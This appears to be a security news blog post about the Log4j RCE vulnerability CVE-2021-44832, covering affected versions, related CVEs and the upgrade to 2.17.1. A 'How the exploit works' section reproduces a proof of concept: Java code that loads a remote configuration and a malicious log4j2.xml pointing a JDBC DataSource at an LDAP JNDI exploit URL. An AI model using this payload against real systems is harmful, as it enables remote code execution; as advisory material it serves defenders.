You can now find Cyber Kendra on Google News!

New Log4j RCE Vulnerability Discovered in Apache Logging Library

Fourth log4j rce Vulnerability discovered, again puts whole internet on Risk.


It was the big alarm throughout the internet when a critical remote code execution bug a.k.a Log4Shell (CVE-2021-44228) in the Apache Log4j logging library has been found. Soon after the bug was disclosed, exploit code and PoC started surfacing over the internet, which make the situation more worst. Malicious actors started scanning the internet and exploiting the vulnerability to deploy ransomware on vulnerable systems.

After somehow the internet gets stable, another critical remote code execution bug which is now tracked as CVE-2021-44832 is been discovered in the same Apache Log4j logging library, taking the whole internet back to the same situation. This is the third RCE and fourth vulnerability in the Log4j library followed by CVE-2021-44228 (RCE), CVE-2021-45046 (RCE), and CVE-2021-45105 (DoS attack).

Today, the Apache security team has released another version of the Apache Log4J (version 2.17.1) fixing the CVE-2021-44832, newly discovered Remote Code Execution bug.  This is another bad situation for most of the users, but we strongly recommend everyone to get their system updated to fix this critical issue.

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

From version 2.17.1, (and 2.12.4 and 2.3.2 for Java 7 and Java 6), the JDBC Appender will use JndiManager and will require the log4j2.enableJndiJdbc system property to contain a value of true for JNDI to be enabled.

The property to enable JNDI has been renamed from ‘log4j2.enableJndi’ to three separate properties: log4j2.enableJndiLookup, log4j2.enableJndiJms, and log4j2.enableJndiContextSelector.


What is Log4j RCE Vulnerability? (Log4Shell)

Apache Log4j library was vulnerable to the remote code execution bug which has the highest CVSS score of 10.0. Log4Shell (CVE-2021-44228), an internet vulnerability that affects millions of computers, involves an obscure but nearly ubiquitous piece of software, Log4j. The software is used to record all manner of activities that go on under the hood in a wide range of computer systems. If attackers manage to exploit it on one of the servers, they gain the ability to execute arbitrary code and potentially take full control of the system.

Technical Details of New Log4j2 RCE CVE-2021-44832

Yaniv Nizry, a researcher from the security firm, Checkmarx discovered this RCE vulnerability. In the blog post, he says- while reviewing the LOg4j 2 code, he encountered a new undiscovered deserialization security vulnerability. This vulnerability doesn’t use the disabled lookup feature. 

The complexity of this vulnerability is higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration (like the ‘logback’ vulnerability CVE-2021-42550). Unlike logback, in log4j there is a feature to load a remote configuration file or to configure the logger through the code, so an Arbitrary Code Execution could be achieved with a MITM attack, user input ending up in a vulnerable configuration variable, or modifying the config file.

Yaniv noted while looking into log4j features he came across the ‘Appender’ functionalities, which are basically where to output the logs. Later, he was JDBCAppender also available of which some public ways of getting RCE via JDBC Java deserialization.

Further going deeper, he found a way to configure log4j so that it will fetch the database source dynamically and remotely via JNDI. The configuration of the remote database location is done with the DataSource element. There was not any restriction of putting an arbitrary LDAP remote URL, thus making it potential to the classic JNDI:LDAP deserialization vector.

<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

The payload gets triggered and the code is successfully excuted.

Who is impacted?

All versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4

An extensive list of responses from impacted organizations can be found on this dedicated post.

Apache Log4j RCE vulnerability is much bigger than what we think because Log4j is been used everywhere. In 2015, Java says that Java has over 10 million developers and running on 56 billion devices globally. But some [not all] of the applications use the Log4j logging library.

Affected Apache log4j Versions

All versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4. Check below the summary of the vulnerability with the fixed version. 

Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability. Furthermore, Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.

CVE severity CVSS Score Kind Fixed version Reporter
CVE-2021-44832 Moderate 6.6 RCE 2.17.1 Yaniv Nizry from CheckMarx
CVE-2021-45105 High 7.5 DoS 2.17.0 Hideki Okamoto of Akamai Technologies
CVE-2021-45046 Critical 9.0 RCE 2.16.0 iCConsult Kai Mindermann
CVE-2021-44228 Critical 10.0 RCE 2.15.0 ChenZhaojun of Alibaba Cloud Security Team

How the exploit works

First, Fetching Remote configuration via HTTP:

System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");

Using the same LDAP (Lightweight Directory Access Protocol) server as done in the CVE-2021-44228 PoC (Proof of Concept), all we need to do is to run:

//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    }
}

And to serve the following log4j2.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

Check Video PoC


Check Packages for Log4j Vulnerability

To date, we have multiple scripts or tools freely available that will automatically scan all your packages for the Log4Shell vulnerability. So of the recommended tools are -

We're continuously keeping this post upto-date as new information comes out. If you have anything to add, please comment below.
We will be Thankful to you for your contributions.

How to Mitigate the Issue

Apache log4j has released version 2.17.1 that fixes the Log4Shell vulnerability in version 2.17.0. We strongly recommend everyone update the Log4j library to apply the fix. 

We have made a dedicated post related to the Log4j vulnerability, where you can find advisories for all companies, firms, or startups. At the time of writing, we have collected 250+ advisories from the different organizations or firms. In this post,s you will also learn to fix the Log4j vulnerability, its exploits, bypasses, and other necessary resources.

Post a Comment